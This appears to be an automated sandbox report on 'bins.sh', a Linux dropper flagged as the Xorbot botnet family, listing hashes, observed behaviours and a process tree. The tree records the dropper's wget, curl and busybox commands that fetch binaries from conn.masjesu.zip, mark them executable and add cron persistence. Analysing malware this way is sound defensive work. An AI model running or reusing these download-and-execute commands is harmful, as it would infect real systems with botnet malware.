Analysis
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max time kernel
149s -
max time network
148s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
27/02/2025, 17:08
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240729-en
General
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Target
bins.sh
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Size
10KB
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MD5
0aec7763cd1e0b0ff0816e8a61703e14
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SHA1
34d8cc1b3dde4180fc98bb42337526cd285596f7
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SHA256
3ee572774d84f42ca24f2f7e1d041f6c54a2b1595c83ba591c6f60af4f5095cb
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SHA512
5f0b46c702a374991819ff3d43141d24ad4b6bdbf112848d05cff833a9e37ed2e0f10dd9705e1da911c169a617fbd504806c616a73337888e4a54ee1366ff0b7
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SSDEEP
96:YaS+FFFlFcMLLnRL049GDLrHZcUlnBRn7NY8F7XsL3nL4qPjOxLwsOtJb3li6PQ0:lhaOGib0xCruW
Malware Config
Signatures
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resource yara_rule behavioral1/files/fstream-1.dat family_xorbot -
Xorbot family
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1509 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH 1510 bins.sh -
Renames itself 1 IoCs
pid Process 1511 bins.sh -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.qGkewi crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/9/cmdline bins.sh File opened for reading /proc/162/cmdline bins.sh File opened for reading /proc/164/cmdline bins.sh File opened for reading /proc/659/cmdline bins.sh File opened for reading /proc/1117/cmdline bins.sh File opened for reading /proc/1521/cmdline bins.sh File opened for reading /proc/178/cmdline bins.sh File opened for reading /proc/1181/cmdline bins.sh File opened for reading /proc/1516/cmdline bins.sh File opened for reading /proc/22/cmdline bins.sh File opened for reading /proc/84/cmdline bins.sh File opened for reading /proc/466/cmdline bins.sh File opened for reading /proc/1142/cmdline bins.sh File opened for reading /proc/1248/cmdline bins.sh File opened for reading /proc/3/cmdline bins.sh File opened for reading /proc/1004/cmdline bins.sh File opened for reading /proc/1155/cmdline bins.sh File opened for reading /proc/1264/cmdline bins.sh File opened for reading /proc/160/cmdline bins.sh File opened for reading /proc/544/cmdline bins.sh File opened for reading /proc/1060/cmdline bins.sh File opened for reading /proc/1179/cmdline bins.sh File opened for reading /proc/82/cmdline bins.sh File opened for reading /proc/471/cmdline bins.sh File opened for reading /proc/599/cmdline bins.sh File opened for reading /proc/669/cmdline bins.sh File opened for reading /proc/1113/cmdline bins.sh File opened for reading /proc/1469/cmdline bins.sh File opened for reading /proc/1517/cmdline bins.sh File opened for reading /proc/1518/cmdline bins.sh File opened for reading /proc/460/cmdline bins.sh File opened for reading /proc/27/cmdline bins.sh File opened for reading /proc/308/cmdline bins.sh File opened for reading /proc/449/cmdline bins.sh File opened for reading /proc/34/cmdline bins.sh File opened for reading /proc/161/cmdline bins.sh File opened for reading /proc/407/cmdline bins.sh File opened for reading /proc/21/cmdline bins.sh File opened for reading /proc/159/cmdline bins.sh File opened for reading /proc/168/cmdline bins.sh File opened for reading /proc/171/cmdline bins.sh File opened for reading /proc/174/cmdline bins.sh File opened for reading /proc/175/cmdline bins.sh File opened for reading /proc/943/cmdline bins.sh File opened for reading /proc/1063/cmdline bins.sh File opened for reading /proc/80/cmdline bins.sh File opened for reading /proc/1009/cmdline bins.sh File opened for reading /proc/1178/cmdline bins.sh File opened for reading /proc/1304/cmdline bins.sh File opened for reading /proc/1495/cmdline bins.sh File opened for reading /proc/167/cmdline bins.sh File opened for reading /proc/19/cmdline bins.sh File opened for reading /proc/26/cmdline bins.sh File opened for reading /proc/29/cmdline bins.sh File opened for reading /proc/483/cmdline bins.sh File opened for reading /proc/955/cmdline bins.sh File opened for reading /proc/1291/cmdline bins.sh File opened for reading /proc/4/cmdline bins.sh File opened for reading /proc/25/cmdline bins.sh File opened for reading /proc/78/cmdline bins.sh File opened for reading /proc/83/cmdline bins.sh File opened for reading /proc/405/cmdline bins.sh File opened for reading /proc/443/cmdline bins.sh File opened for reading /proc/489/cmdline bins.sh -
System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1506 curl 1508 busybox 1520 wget 1521 curl 1502 wget -
Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH wget File opened for modification /tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH curl File opened for modification /tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH busybox File opened for modification /tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd wget
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1500 -
/bin/rm/bin/rm bins.sh2⤵PID:1501
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1502
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1506
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1508
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/bin/chmodchmod 777 PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH2⤵
- File and Directory Permissions Modification
PID:1509
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/usr/bin/crontabcrontab -l2⤵PID:1513
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/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1515
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/bin/rmrm PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH2⤵PID:1517
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1520
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd2⤵
- System Network Configuration Discovery
PID:1521
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
210B
MD51faefc8df1819198b1d5552f3c4e6e2d
SHA13ce0fef01f7d21a862a23e95ac5ef23e57380ff5
SHA256247b3abfd3dc12e8e62aa6f905789fb0ea1092a337ec2dcef423e6550e2f6be9
SHA51248143bcea0339aab04e4544e4429ef677fb03d6a8bdfd0d1c37dec05c7017dcf3b1d5579cfa2b71c0e80aa70b834d33358afc524692957adcdafc96c9bc1c40e